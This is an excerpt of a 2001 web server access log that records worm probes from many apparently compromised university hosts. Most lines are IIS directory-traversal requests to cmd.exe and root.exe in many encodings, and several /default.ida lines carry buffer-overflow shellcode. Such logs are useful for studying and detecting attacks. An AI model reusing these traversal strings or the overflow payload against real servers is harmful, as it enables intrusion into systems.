  4976. 20010918 16:33:57: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  4977. 20010918 16:33:57: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4978. 20010918 16:33:57: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  4979. 20010918 16:33:57:  [128.121.246.52] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4980. 20010918 16:34:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4981. 20010918 16:34:15: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4982. 20010918 16:34:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4983. 20010918 16:34:15: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4984. 20010918 16:34:15: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4985. 20010918 16:34:15:  [128.121.246.52] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4986. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4987. 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4988. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4989. 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4990. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4991. 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4992. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4993. 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4994. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4995. 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4996. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4997. 20010918 16:34:34: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4998. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  4999. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5000. 20010918 16:34:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5001. 20010918 16:34:35: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5002. 20010918 16:34:35: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5003. 20010918 16:34:35: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5004. 20010918 16:34:35: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5005. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5006. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5007. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5008. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5009. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5010. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5011. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5012. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5013. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5014. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5015. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5016. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5017. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5018. 20010918 16:35:21: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5019. 20010918 16:35:22: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5020. 20010918 16:35:23: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5021. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5022. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5023. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5024. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5025. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5026. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5027. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5028. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5029. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5030. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5031. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5032. 20010918 16:36:33: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5033. 20010918 16:36:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5034. 20010918 16:36:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5035. 20010918 16:36:34: bus205-160.gsb.columbia.edu [128.59.205.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5036. 20010918 16:36:34: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5037. 20010918 16:36:50: dialup-cc2-7.cc.columbia.edu [128.59.58.112] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5038. 20010918 16:36:58: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5039. 20010918 16:42:32:  [128.200.135.51] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5040. 20010918 16:43:14:  [128.200.135.51] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5041. 20010918 16:43:32: bus84-232.gsb.columbia.edu [128.59.84.232] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5042. 20010918 16:43:32:  [128.200.135.51] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5043. 20010918 16:43:51:  [128.200.135.51] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5044. 20010918 16:44:09:  [128.200.135.51] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5045. 20010918 16:44:27:  [128.200.135.51] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5046. 20010918 16:44:46:  [128.200.135.51] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5047. 20010918 16:45:04:  [128.200.135.51] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5048. 20010918 16:45:23:  [128.200.135.51] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5049. 20010918 16:45:41:  [128.200.135.51] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5050. 20010918 16:45:59:  [128.200.135.51] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5051. 20010918 16:46:18: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5052. 20010918 16:46:18:  [128.200.135.51] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5053. 20010918 16:46:37: vtoch.uusa.vt.edu [128.173.232.203] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5054. 20010918 16:46:38:  [128.200.135.51] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5055. 20010918 16:46:56: vtoch.uusa.vt.edu [128.173.232.203] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5056. 20010918 16:46:56: vtoch.uusa.vt.edu [128.173.232.203] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5057. 20010918 16:46:56:  [128.200.135.51] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5058. 20010918 16:47:14: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5059. 20010918 16:47:14:  [128.200.135.51] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5060. 20010918 16:47:32: vtoch.uusa.vt.edu [128.173.232.203] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5061. 20010918 16:47:33: vtoch.uusa.vt.edu [128.173.232.203] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5062. 20010918 16:47:33:  [128.200.135.51] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5063. 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5064. 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5065. 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5066. 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5067. 20010918 16:47:51: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5068. 20010918 16:47:52: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5069. 20010918 16:47:52: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5070. 20010918 16:47:52: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5071. 20010918 16:47:52: vtoch.uusa.vt.edu [128.173.232.203] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5072. 20010918 16:47:52: bus84-232.gsb.columbia.edu [128.59.84.232] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5073. 20010918 16:51:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5074. 20010918 16:56:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5075. 20010918 16:56:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5076. 20010918 16:56:47: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5077. 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5078. 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5079. 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5080. 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5081. 20010918 16:56:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5082. 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5083. 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5084. 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5085. 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5086. 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5087. 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5088. 20010918 16:56:49: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5089. 20010918 16:56:49: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5090. 20010918 16:56:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5091. 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5092. 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5093. 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5094. 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5095. 20010918 16:59:25: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5096. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5097. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5098. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5099. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5100. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5101. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5102. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5103. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5104. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5105. 20010918 16:59:26: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5106. 20010918 16:59:26: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  5107. 20010918 16:59:48: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5108. 20010918 17:02:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5109. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5110. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5111. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5112. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5113. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5114. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5115. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5116. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5117. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5118. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5119. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5120. 20010918 17:02:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5121. 20010918 17:02:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5122. 20010918 17:02:16: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5123. 20010918 17:02:16: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  5124. 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  5125. 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5126. 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5127. 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5128. 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5129. 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5130. 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5131. 20010918 17:04:21: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5132. 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5133. 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5134. 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5135. 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5136. 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5137. 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  5138. 20010918 17:04:22: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
